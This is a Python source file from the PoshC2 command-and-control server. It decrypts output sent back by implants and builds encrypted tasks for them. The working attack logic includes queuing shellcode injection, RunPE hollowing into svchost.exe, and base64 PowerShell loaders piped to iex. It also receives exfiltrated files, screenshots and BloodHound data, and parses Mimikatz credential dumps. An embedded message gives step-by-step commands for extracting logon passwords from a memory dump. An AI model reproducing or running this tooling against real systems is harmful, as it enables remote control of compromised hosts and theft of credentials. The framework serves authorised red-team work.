Files

860 lines
49 KiB
Python

import base64
import hashlib
import os
import re
import traceback
from datetime import datetime, timezone
from poshc2 import Colours
from poshc2.Utils import new_implant_id
from poshc2.server.Config import DownloadsDirectory, ReportsDirectory
from poshc2.server.Config import mitre_mapping
from poshc2.server.Core import decrypt, decrypt_bytes_gzip, process_mimikatz, print_bad, print_good, decrypt_bytes
from poshc2.server.Core import load_module, load_module_sharp, encrypt, default_response
from poshc2.server.ImplantExtensions import new_implant, display, autoruns
from poshc2.server.ImplantType import ImplantType
from poshc2.server.PowerStatus import translate_power_status
from poshc2.server.database.Helpers import get_implant, get_implant_by_numeric_id, get_task, get_new_tasks_for_implant, \
update_task
from poshc2.server.database.Helpers import insert_object, delete_object, select_all, update_object
from poshc2.server.database.Model import Implant, MitreTTP, Task, NewTask
def save_output(output, module_name, hostname):
try:
now = datetime.now(timezone.utc).strftime('%Y%m%d%H%M%S')
filename = f"{module_name}_{hostname}_{now}"
output_file = open(f'{DownloadsDirectory}{filename}.txt', 'w')
output_file.write(output)
output_file.close()
print(f"{module_name} output saved to: {DownloadsDirectory}{filename}.txt")
except Exception as e:
print(e)
def save_task_output(uri_path, encrypted_session_cookie, post_data):
all_implants = select_all(Implant)
if not all_implants:
print_bad(
"Received post request but no implants in database... has the project been cleaned but you're using the same URLs?")
return
for implant in all_implants:
if implant.id in uri_path and encrypted_session_cookie:
now = datetime.now(timezone.utc)
update_object(Implant, {Implant.last_seen: now.strftime("%Y-%m-%d %H:%M:%S")}, {Implant.id: implant.id})
decrypted_cookie = decrypt(implant.encryption_key, encrypted_session_cookie)
implant_type = ImplantType.get(implant.type)
user_implant_numeric_id = implant.numeric_id
if implant_type.is_jxa_implant():
raw_output = decrypt(implant.encryption_key, post_data[1500:])
elif implant_type.is_unmanaged_implant():
raw_output = decrypt_bytes(implant.encryption_key, post_data[1500:])
else:
raw_output = decrypt_bytes_gzip(implant.encryption_key, post_data[1500:])
if decrypted_cookie.startswith("Error"):
print(Colours.RED)
print("The multicmd errored: ")
print(raw_output)
print(Colours.GREEN)
return
cookie_message = ""
if "No Task ID" in decrypted_cookie:
task_id = "No Task ID"
elif "-" in decrypted_cookie:
decrypted_cookie = decrypted_cookie.strip('\x00')
split = decrypted_cookie.split("-")
if not split[0].isdigit():
print(Colours.RED + f"[!] Cookie {decrypted_cookie} is invalid" + Colours.GREEN)
return
else:
task_id = str(int(split[0]))
cookie_message = split[1]
else:
task_id = str(int(decrypted_cookie.strip('\x00')))
task_id_str = "0" * (5 - len(str(task_id))) + str(task_id)
user_implant = implant
if task_id != "99999" and task_id != "No Task ID":
task = get_task(task_id)
executed_command = task.command
task_owner = task.user
if executed_command.startswith("pbind-command ") or executed_command.startswith(
"pbind-load-module ") or executed_command.startswith(
"fcomm-command ") or executed_command.startswith("fcomm-load-module "):
split_command = executed_command.split()
executed_command = split_command[0] + " "
executed_command += " ".join(split_command[2:])
implant_numeric_id = task.implant_numeric_id
user_implant = get_implant_by_numeric_id(implant_numeric_id)
elif task_id == "99999":
# TODO potentially not tracking background tasks for pbind implants correctly here
implant_numeric_id = implant.numeric_id
user_implant = get_implant_by_numeric_id(implant_numeric_id)
print(Colours.END)
print(
f"Background task against implant {implant_numeric_id} on host {user_implant.domain}\\{user_implant.user} @ {user_implant.hostname} ({now.strftime('%Y-%m-%d %H:%M:%S')}) (output appended to {ReportsDirectory}background-data.txt)")
print(Colours.GREEN)
background_data_file = open(f"{ReportsDirectory}background-data.txt", "a+")
background_data_file.write(raw_output)
return
else:
print(Colours.GREEN)
print("Got response with no Task ID:\n")
print(raw_output)
return
print(Colours.GREEN)
if task_owner is not None:
print(
f"TaskID:{task_id_str} returned | User:({task_owner}) | ImplantID:{implant_numeric_id} | Context:{user_implant.domain}\\{user_implant.user} @ {user_implant.hostname} | {now.strftime('%Y-%m-%d %H:%M:%S')}")
else:
print(
f"TaskID:{task_id_str} returned | User:None | ImplantID: {implant_numeric_id} | Context:{user_implant.domain}\\{user_implant.user} @ {user_implant.hostname} | {now.strftime('%Y-%m-%d %H:%M:%S')}")
try:
if isinstance(raw_output, bytes):
parsed_output = re.sub(r'123456(.+?)654321', '', raw_output.decode('us-ascii', errors="ignore"))
else:
parsed_output = re.sub(r'123456(.+?)654321', '', raw_output)
parsed_output = parsed_output.rstrip().replace("\x00", "")
except Exception as e:
print(f"Error parsing output from implant: {e}")
parsed_output = ""
pass
if cookie_message is not None and cookie_message.lower().startswith("pwrstatusmsg"):
translate_power_status(parsed_output, implant.id)
return
if "load-module" in executed_command and len(parsed_output.split()) == 0:
print("Module loaded successfully")
update_task(task_id, "Module loaded successfully")
elif "pbind-connect " in executed_command and "PBind-Connected" in parsed_output or "PBind PBind start" in executed_command and "PBind-Connected" in parsed_output:
# TODO refactor to work same as other implants
print(ImplantType.get(user_implant.type))
if (ImplantType.get(user_implant.type)).is_pbind_implant():
implant = user_implant
print(implant_numeric_id)
print(executed_command)
try:
parsed_output = re.search("PBind-Connected:.*", parsed_output)
parsed_output = parsed_output[0].replace("PBind-Connected: ", "")
domain, user, hostname, architecture, process_id, process_name, comms_id = str(parsed_output).split(
";")
if "\\" in user:
user = user[user.index("\\") + 1:]
new_pbind_implant, updated_config = new_implant(implant.numeric_id, ImplantType.SharpPBind,
str(domain), str(user), str(hostname), architecture,
process_id,
str(process_name), comms_id,
label=f"Parent: {implant_numeric_id}")
display(new_pbind_implant)
autoruns(new_pbind_implant)
except Exception as e:
print(e)
elif executed_command.lower().startswith("run-exe seatbelt"):
print(raw_output)
save_output(raw_output, "Seatbelt", implant.hostname)
elif "fcomm-connect " in executed_command and "FComm-Connected" in parsed_output:
# TODO refactor to work same as other implants
parsed_output = re.search("FComm-Connected:.*", parsed_output)
parsed_output = parsed_output[0].replace("FComm-Connected: ", "")
domain, user, hostname, architecture, process_id, process_name, comms_id = str(parsed_output).split(";")
if "\\" in user:
user = user[user.index("\\") + 1:]
# TODO refactor so parent not stored in ip address column
new_fcomm_implant, updated_config = new_implant(implant.numeric_id, ImplantType.SharpFComm, str(domain),
str(user), str(hostname), architecture, process_id,
str(process_name), comms_id,
label=f"Parent: {implant_numeric_id}")
display(new_fcomm_implant)
autoruns(new_fcomm_implant)
elif executed_command.lower().startswith("beacon "):
new_sleep = executed_command.replace('beacon ', '').strip()
update_object(Implant, {Implant.sleep: new_sleep}, {Implant.id: implant.id})
elif "get-screenshot" in executed_command.lower() or "get-multi-screenshot" in executed_command.lower():
try:
decoded = base64.b64decode(parsed_output)
filename = implant.user + "-" + now.strftime("%Y%m%d%H%M%S_" + new_implant_id())
output_file = open(f'{DownloadsDirectory}{filename}.png', 'wb')
print(f"Screenshot captured: {DownloadsDirectory}{filename}.png")
update_task(task_id, f"Screenshot captured: {DownloadsDirectory}{filename}.png")
output_file.write(decoded)
output_file.close()
except Exception:
update_task(task_id,
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
print(
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
print(parsed_output)
elif executed_command.lower().startswith("run-exe quickdraw"):
if parsed_output.startswith("[-]"):
update_task(task_id, parsed_output)
print(parsed_output)
else:
decoded = base64.b64decode(parsed_output)
filename = f"{implant.user}-QuickDraw-{now.strftime('%Y%m%d%H%M%S')}"
output_file = open(f'{DownloadsDirectory}{filename}.png', 'wb')
print(f"Screenshot captured: {DownloadsDirectory}{filename}.png")
update_task(task_id, f"Screenshot captured: {DownloadsDirectory}{filename}.png")
output_file.write(decoded)
output_file.close()
elif (executed_command.lower().startswith("$shellcode64")) or (
executed_command.lower().startswith("$shellcode64")):
update_task(task_id, "Upload shellcode complete")
print("Upload shellcode complete")
elif (executed_command.lower().startswith("run-exe core.program core inject-shellcode")) or (
executed_command.lower().startswith("pbind-command run-exe core.program core inject-shellcode")):
update_task(task_id, "Upload shellcode complete")
print(parsed_output)
elif "memoryonlyjson" in executed_command.lower() or "memoryonlyzip" in executed_command.lower():
try:
if "Initializing SharpHound" in raw_output:
update_task(task_id, raw_output)
print(raw_output)
else:
print("Downloading bloodhound")
print(raw_output)
except TypeError as e:
try:
filename = "bloodhound-" + now.strftime("%Y%m%d%H%M%S_" + new_implant_id()) + ".bin"
print(f"Downloaded file {filename} ")
output_file = open(f'{DownloadsDirectory}{filename}', 'ab')
try:
output_file.write(raw_output)
except Exception:
output_file.write(raw_output.encode("utf-8"))
output_file.close()
except ValueError:
print(f"Error downloading bloodhound file {e} \n{raw_output}")
except Exception as e:
print("Error downloading bloodhound file %s " % e)
traceback.print_exc()
except Exception as e:
print("Error with bloodhound %s " % e)
traceback.print_exc()
elif "download-file" in executed_command.lower():
try:
filename = executed_command.lower().replace("download-files ", "")
filename = filename.replace("download-file ", "")
filename = filename.replace("-source ", "")
filename = filename.replace("..", "")
filename = filename.replace("'", "")
filename = filename.replace('"', "")
filename = filename.replace("\\", "/")
directory, filename = filename.rsplit('/', 1)
filename = filename.rstrip('\x00')
original_filename = filename.strip()
if not original_filename:
directory = directory.rstrip('\x00')
directory = directory.replace("/", "_").replace("\\", "_").strip()
original_filename = directory
try:
if raw_output.startswith("Error"):
print("Error downloading file: ")
print(raw_output)
break
chunk_number = raw_output[:5]
total_chunks = raw_output[5:10]
except Exception:
chunk_number = raw_output[:5].decode("utf-8")
total_chunks = raw_output[5:10].decode("utf-8")
if (chunk_number == "00001") and os.path.isfile(f'{DownloadsDirectory}{filename}'):
counter = 1
while os.path.isfile(f'{DownloadsDirectory}{filename}'):
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(
counter) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter)
counter += 1
if chunk_number != "00001":
counter = 1
if not os.path.isfile(f'{DownloadsDirectory}{filename}'):
print(
f"Error trying to download part of a file to a file that does not exist: {filename} \n{raw_output}")
while os.path.isfile(f'{DownloadsDirectory}{filename}'):
# First find the 'next' file would be downloaded to
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(
counter) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter)
counter += 1
if counter != 2:
# Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(
counter - 2) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter - 2)
else:
filename = original_filename
print(f"Download file part {chunk_number} of {total_chunks} to: {filename}")
update_task(task_id, f"Download file part {chunk_number} of {total_chunks} to: {filename}")
output_file = open(f'{DownloadsDirectory}{filename}', 'ab')
try:
output_file.write(raw_output[10:])
except Exception:
output_file.write(raw_output[10:].encode("utf-8"))
output_file.close()
except ValueError as e:
update_task(task_id, f"Error downloading file {e} \n{raw_output}")
print(f"Error downloading file {e} \n{raw_output}")
except Exception as e:
update_task(task_id, f"Error downloading file {e} ")
print(f"Error downloading file {e} ")
traceback.print_exc()
elif "safetydump" in executed_command.lower():
raw_output = decrypt_bytes_gzip(implant.encryption_key, post_data[1500:])
if raw_output.startswith("[-]") or raw_output.startswith("ErrorCmd"):
update_task(task_id, raw_output)
print(raw_output)
else:
dumpname = f"SafetyDump-Task-{task_id_str}.b64"
dumppath = f"{DownloadsDirectory}{dumpname}"
open(dumppath, 'w').write(raw_output)
message = f"Dump written to: {dumppath}"
message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:"
message = message + f"\n $filename = '.\\{dumpname}'"
message = message + "\n $b64 = Get-Content $filename"
message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)"
message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)"
message = message + "\n ./mimikatz.exe"
message = message + "\n sekurlsa::minidump safetydump.dmp"
message = message + "\n sekurlsa::logonpasswords"
message = message + "\nOr to just decode on Linux:"
message = message + f"\n base64 -id {dumpname} > dump.bin"
update_task(task_id, message)
print(message)
elif (executed_command.lower().startswith(
"run-exe safetykatz") or "invoke-mimikatz" in executed_command or executed_command.lower().startswith(
"pbind-") or executed_command.lower().startswith(
"fcomm-command") or executed_command.lower().startswith(
"run-dll sharpsploit")) and "logonpasswords" in parsed_output.lower():
print("Parsing Mimikatz Output")
update_task(task_id, parsed_output)
process_mimikatz(parsed_output)
print(Colours.GREEN)
print(parsed_output + Colours.END)
elif "| poshgrep" in executed_command.lower():
update_task(task_id, parsed_output)
print(Colours.GREEN)
params = re.compile(r'(?<=poshgrep)\s(.*)')
params = params.findall(executed_command)
if params:
print(f"[+] Grepping output for {params[0]}: \n")
else:
print(parsed_output)
for line in parsed_output.splitlines():
if params[0].lower() in line.lower():
print(line)
print(Colours.END)
else:
update_task(task_id, parsed_output)
print(Colours.GREEN)
print(parsed_output + Colours.END)
# TODO Task Callbacks
for mapped_command in mitre_mapping:
if mapped_command["command"] in executed_command.lower():
for ttp in mapped_command["ttps"]:
mitre_ttp = MitreTTP(
technique_id=ttp["id"],
technique_name=ttp["name"],
tactics=", ".join(tactic for tactic in ttp["tactics"]),
task_id=task_id
)
insert_object(mitre_ttp)
def new_task(path):
all_implants = select_all(Implant)
commands = ""
if all_implants:
for implant in all_implants:
implant_id = implant.id
new_tasks = get_new_tasks_for_implant(implant_id)
user_implant_numeric_id = implant.numeric_id
implant_type = ImplantType.get(implant.type)
user_implant = implant
if implant_id in path and new_tasks:
for new_task in new_tasks:
command = new_task.command
user = new_task.user
if command.startswith("pbind-command ") or command.startswith(
"pbind-load-module ") or command.startswith("fcomm-command ") or command.startswith(
"fcomm-load-module "):
split_command = command.split()
user_implant_numeric_id = split_command[1]
user_implant = get_implant_by_numeric_id(user_implant_numeric_id)
implant_id = user_implant.id
command = split_command[0] + " "
command += " ".join(split_command[2:])
user_command = command.replace("fcomm-command ", "").replace("pbind-command ", "").replace(
"pbind-load-module ", "load-module ").replace(
"fcomm-load-module ", "load-module ")
else:
user_command = command
if (command.lower().startswith("inject-shellcode")) or (
command.lower().startswith("$shellcode64")) or (
command.lower().startswith("$shellcode86") or command.lower().startswith(
"run-exe core.program core inject-shellcode") or command.lower().startswith(
"run-exe pbind pbind run-exe core.program core inject-shellcode") or command.lower().startswith(
"pbind-command run-exe core.program core inject-shellcode")):
if " -Shellcode" not in command:
user_command = f"Inject Shellcode: {command[command.index('#') + 1:]}"
command = command[:command.index("#")]
elif (command.lower().startswith("invoke-daisychain")):
user_command = "start-daisy"
elif command.startswith("update-config "):
user_command = "Updating config with config string:\n" + command.replace("update-config ", "")
elif (command.lower().startswith("run-jxa ")) or (command.lower().startswith("clipboard-monitor ")):
user_command = command[:command.index("#")]
command = "run-jxa " + command[command.index("#") + 1:]
elif (command.lower().startswith('download-file') or command.lower().startswith(
'pbind-command download-file') or command.lower().startswith(
'fcomm-command download-file')):
if implant_type.is_sharp_implant():
download_file = base64.b64decode(command.split()[1]).decode("utf-8")
user_command = f"download-file {download_file}"
elif (command.lower().startswith('upload-file') or command.lower().startswith(
'pbind-command upload-file') or command.lower().startswith(
'fcomm-command upload-file')):
# TODO refactor
PBind = False
FComm = False
if command.lower().startswith('pbind-command upload-file'):
PBind = True
if command.lower().startswith('fcomm-command upload-file'):
FComm = True
upload_args = command \
.replace('pbind-command upload-file', '') \
.replace('fcomm-command upload-file', '') \
.replace('upload-file', '')
upload_file_args_split = upload_args.split()
if len(upload_file_args_split) < 2:
print(Colours.RED)
print(f"Error parsing upload command: {upload_args}")
print(Colours.GREEN)
continue
upload_file = upload_file_args_split[0]
upload_file_destination = upload_file_args_split[1]
upload_args = upload_args.replace(upload_file, '')
upload_args = upload_args.replace(upload_file_destination, '')
with open(upload_file, "rb") as f:
upload_file_bytes = f.read()
if not upload_file_bytes:
print(
Colours.RED + f"Error, no bytes read from the upload file, removing task: {upload_file}" + Colours.GREEN)
delete_object(NewTask, {NewTask.id: new_task.id})
continue
upload_file_bytes_b64 = base64.b64encode(upload_file_bytes).decode("utf-8")
native_args = command.replace(upload_file, upload_file_bytes_b64)
upload_file_path = upload_file_destination
if implant_type.is_sharp_implant():
command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
upload_file_path = base64.b64decode(upload_file_destination).decode("utf-8")
elif implant_type.is_powershell_implant():
command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
elif implant_type.is_python_implant():
command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
elif implant_type.is_linux_implant():
command = f"upload-file:{upload_file_destination}:{upload_file_bytes_b64} {upload_args}"
elif implant_type.is_unmanaged_implant():
command = f"upload-file {upload_file_bytes_b64} {upload_file_destination} {upload_args}"
elif implant_type.is_jxa_implant():
command = f"upload-file {upload_file_destination}:{upload_file_bytes_b64} {upload_args}"
else:
raise f"Unknown implant type: {implant.type}"
if PBind:
command = f"pbind-command {command}"
if FComm:
command = f"fcomm-command {command}"
md5_filehash = hashlib.md5(base64.b64decode(upload_file_bytes_b64)).hexdigest()
sha256_filehash = hashlib.sha256(base64.b64decode(upload_file_bytes_b64)).hexdigest()
user_command = f"Uploading file: {upload_file} to {upload_file_path} with md5: {md5_filehash} sha256: {sha256_filehash}"
task = Task(
implant_id=implant_id,
command=user_command,
output=None,
user=user,
sent_time=datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S'),
completed_time=None,
implant_numeric_id=get_implant(implant_id).numeric_id,
child_implant_id=None
)
insert_object(task)
task_id_string = "0" * (5 - len(str(task.id))) + str(task.id)
if len(str(task.id)) > 5:
raise ValueError('Task ID is greater than 5 characters which is not supported.')
print(Colours.YELLOW)
now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S')
if user is not None and user != "":
print(
f"TaskID:{task_id_string} sent | User:({user}) | ImplantID:{user_implant_numeric_id} | Context:{user_implant.domain}\\{user_implant.user} @ {user_implant.hostname} | {now}")
else:
print(
f"TaskID:{task_id_string} sent | User:None | ImplantID:{user_implant_numeric_id} | Context:{user_implant.domain}\\{user_implant.user} @ {user_implant.hostname} | {now}")
try:
if (user_command.lower().startswith(
"run-exe sharpwmi.program sharpwmi action=execute") or user_command.lower().startswith(
"pbind-command run-exe sharpwmi.program sharpwmi action=execute") or user_command.lower().startswith(
"fcomm-command run-exe sharpwmi.program sharpwmi action=execute")):
print(user_command[0:200])
print("----TRUNCATED----")
else:
print(user_command)
print(Colours.END)
except Exception as e:
print(f"Cannot print output: {e}")
if command.startswith("run-temp-appdomain "):
try:
module_name = command.split()[1]
base64_module = load_module_sharp(module_name)
command = command.replace(module_name, f"{base64_module}")
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "Module not found"
elif command.startswith("load-module "):
try:
module_name = command.replace("load-module ", "")
if ".exe" in module_name or ".dll" in module_name:
if implant_type==ImplantType.PowerShellHttp:
module=load_module_sharp(module_name)
base64_module=f"$ps=\"{module}\";$dllbytes=[System.Convert]::FromBase64String($ps);$assembly=[System.Reflection.Assembly]::Load($dllbytes)"
print_bad("Usage Manual: [SharpTask.Program]::printUsage(@(\"Arg1\", \"Arg2\"));")
print_bad("OR: load-module Invoke-Sharp.ps1")
print_bad("OR: Get-Help Invoke-Sharp -examples")
print_bad("OR: List-Assemblies")
else:
base64_module = load_module_sharp(module_name)
# if its a powershell implant
else:
base64_module = load_module(module_name)
command = f"load-module{base64_module}"
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("run-exe Program PS "):
try:
pbind_command = command.replace("run-exe Program PS ", "")
base64_module = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
command = f"run-exe Program PS {base64_module}"
except Exception as e:
print("Cannot base64 the command for PS")
print(e)
traceback.print_exc()
elif command.startswith("inject-dll"):
try:
module_name = command.split()[1]
base64_module = load_module_sharp(module_name, "PEs/")
command = command.replace(module_name, f"{base64_module}")
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("run-assembly"):
try:
module_name = command.split()[1]
base64_module = load_module_sharp(module_name)
command = command.replace(module_name, f"ECHO {base64_module}")
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("load-stage2"):
try:
module_name = command.split()[1]
base64_module = load_module_sharp(module_name)
command = command.replace(module_name, f"{base64_module}")
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("run-exe RunPE.Program RunPE"):
try:
module_name = command.split()[3]
module_args = command.split(".exe")[1]
if module_args:
b64args = base64.b64encode(f"{module_args}".encode("utf-8")).decode("utf-8")
module_args = f"---a {b64args}"
if ".exe" in module_name:
base64_module = load_module_sharp(module_name, "PEs/")
command = command.replace(module_name, f"---b {base64_module} {module_args}")
# TODO svchost??
command = f"{command} ---f c:\\windows\\system32\\svchost.exe"
else:
print(f"Unsupported RunPE module: {module_name}")
return
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("pbind-command run-exe RunPE.Program RunPE"):
try:
module_name = command.split()[4]
module_args = command.split(".exe")[1]
if module_args:
b64args = base64.b64encode(f"{module_args}".encode("utf-8")).decode("utf-8")
module_args = f"---a {b64args}"
if ".exe" in module_name:
base64_module = load_module_sharp(module_name, "PEs/")
command = command.replace(module_name, f"---b {base64_module} {module_args}").replace(
"pbind-command ", "")
# TODO svchost??
command = f"{command} ---f c:\\windows\\system32\\svchost.exe"
base64_pbind_command = base64.b64encode(command.encode("utf-8")).decode("utf-8")
base64_pbind_command = task_id_string + base64_pbind_command
command = f"run-exe PBind PBind {base64_pbind_command}"
else:
print(f"Unsupported RunPE module: {module_name}")
return
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("run-exe RunOF.Program RunOF"):
try:
module_name = command.split()[3]
if ".o" in module_name:
base64_module = "-a " + load_module_sharp(module_name, "OFs/")
command = command.replace(module_name, base64_module)
else:
print(f"Unsupported RunOF module: {module_name}")
return
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("pbind-command run-exe RunOF.Program RunOF"):
try:
module_name = command.split()[4]
if ".o" in module_name:
base64_module = "-a " + load_module_sharp(module_name, "OFs/")
command = command.replace(module_name, base64_module).replace("pbind-command ", "")
base64_pbind_command = base64.b64encode(command.encode("utf-8")).decode("utf-8")
base64_pbind_command = task_id_string + base64_pbind_command
command = f"run-exe PBind PBind {base64_pbind_command}"
else:
print(f"Unsupported RunOF module: {module_name}")
return
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
command = "echo Module not found"
elif command.startswith("pbind-command run-exe Program PS "):
try:
pbind_command = command.replace("pbind-command run-exe Program PS ", "")
base64_pbind_command = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
base64_module = base64.b64encode(
f"run-exe Program PS {base64_pbind_command}".encode("utf-8")).decode("utf-8")
base64_module = task_id_string + base64_module
command = f"run-exe PBind PBind {base64_module}"
except Exception as e:
print("Cannot base64 the command for PS")
print(e)
traceback.print_exc()
elif command.startswith("fcomm-command run-exe Program PS "):
try:
pbind_command = command.replace("fcomm-command run-exe Program PS ", "")
base64_module = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
command = f"run-exe FComm.FCClass FComm run-exe Program PS {base64_module}"
except Exception as e:
print("Cannot base64 the command for PS")
print(e)
traceback.print_exc()
elif command.startswith("fcomm-command run-exe Program PS "):
try:
pbind_command = command.replace("fcomm-command run-exe Program PS ", "")
base64_module = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
command = f"run-exe FComm.FCClass FComm run-exe Program PS {base64_module}"
except Exception as e:
print("Cannot base64 the command for PS")
print(e)
traceback.print_exc()
elif command.startswith("pslo "):
try:
module_name = command.replace("pslo ", "")
base64_module = load_module_sharp(module_name)
command = f"run-exe Program PS loadmodule{base64_module}"
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
traceback.print_exc()
# TODO pslo pull out
elif command.startswith("pbind-pslo"):
try:
module_name = command.replace("pbind-pslo ", "")
base64_module = load_module_sharp(module_name)
pbind_command = f"run-exe Program PS loadmodule{base64_module}"
base64_pbind_command = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
base64_pbind_command = task_id_string + base64_pbind_command
command = f"run-exe PBind PBind {base64_pbind_command}"
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
traceback.print_exc()
elif command.startswith("fcomm-pslo"):
try:
module_name = command.replace("fcomm-pslo ", "")
base64_module = load_module_sharp(module_name)
command = f"run-exe FComm.FCClass FComm \"run-exe Program PS load-module{base64_module}\""
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
traceback.print_exc()
elif command.startswith("pbind-load-module "):
try:
module_name = command.replace("pbind-load-module ", "")
if ".exe" in module_name or ".dll" in module_name:
base64_module = load_module_sharp(module_name)
command = f"run-exe PBind PBind \"{task_id_string}load-module{base64_module}\""
else:
base64_module = load_module(module_name)
command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
bytes(base64_module, "utf-8")).decode('utf-8')
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
traceback.print_exc()
elif command.startswith("pbind-command "):
try:
pbind_command = command.replace("pbind-command ", "")
base64_pbind_command = base64.b64encode(pbind_command.encode("utf-8")).decode("utf-8")
base64_pbind_command = task_id_string + base64_pbind_command
command = f"run-exe PBind PBind {base64_pbind_command}"
except Exception as e:
print("Cannot base64 the command for PS")
print(e)
traceback.print_exc()
elif command.startswith("pbind-connect"):
command = command.replace("pbind-connect ", "run-exe PBind PBind start ")
elif "pbind-unlink" in command:
command = f"run-exe PBind PBind {task_id_string}pbind-unlink"
elif command.startswith("fcomm-load-module "):
try:
module_name = command.replace("fcomm-load-module ", "")
if ".exe" in module_name or ".dll" in module_name:
base64_module = load_module_sharp(module_name)
command = f"run-exe FComm.FCClass FComm \"{task_id_string}load-module{base64_module}\""
else:
base64_module = load_module(module_name)
command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
bytes(base64_module, "utf-8")).decode('utf-8')
except Exception as e:
print("Cannot find module, load-module is case sensitive!")
print(e)
traceback.print_exc()
elif command.startswith("fcomm-command "):
command = command.replace("fcomm-command ", f"run-exe FComm.FCClass FComm {task_id_string}")
elif command.startswith("fcomm-connect"):
command = command.replace("fcomm-connect ", "run-exe FComm.FCClass FComm start ")
elif "poshgrep" in command:
params = re.compile("\\|poshgrep(.*)", re.IGNORECASE)
command = params.sub("", command)
params = re.compile("\\| poshgrep(.*)", re.IGNORECASE)
command = params.sub("", command)
command = task_id_string + command
if commands:
commands += "!d-3dion@LD!-d" + command
else:
commands += command
delete_object(NewTask, {NewTask.id: new_task.id})
multicmd = ""
if commands is not None:
multicmd = f"multicmd{commands}"
try:
responseVal = encrypt(implant.encryption_key, multicmd)
except Exception as e:
responseVal = ""
print(f"Error encrypting value: {e}")
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
update_object(Implant, {Implant.last_seen: now, Implant.alive: "Yes"}, {Implant.id: implant_id})
return responseVal
elif implant_id in path and not new_tasks:
# if there is no tasks but it's a normal beacon send 200
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
update_object(Implant, {Implant.last_seen: now, Implant.alive: "Yes"}, {Implant.id: implant_id})
return default_response()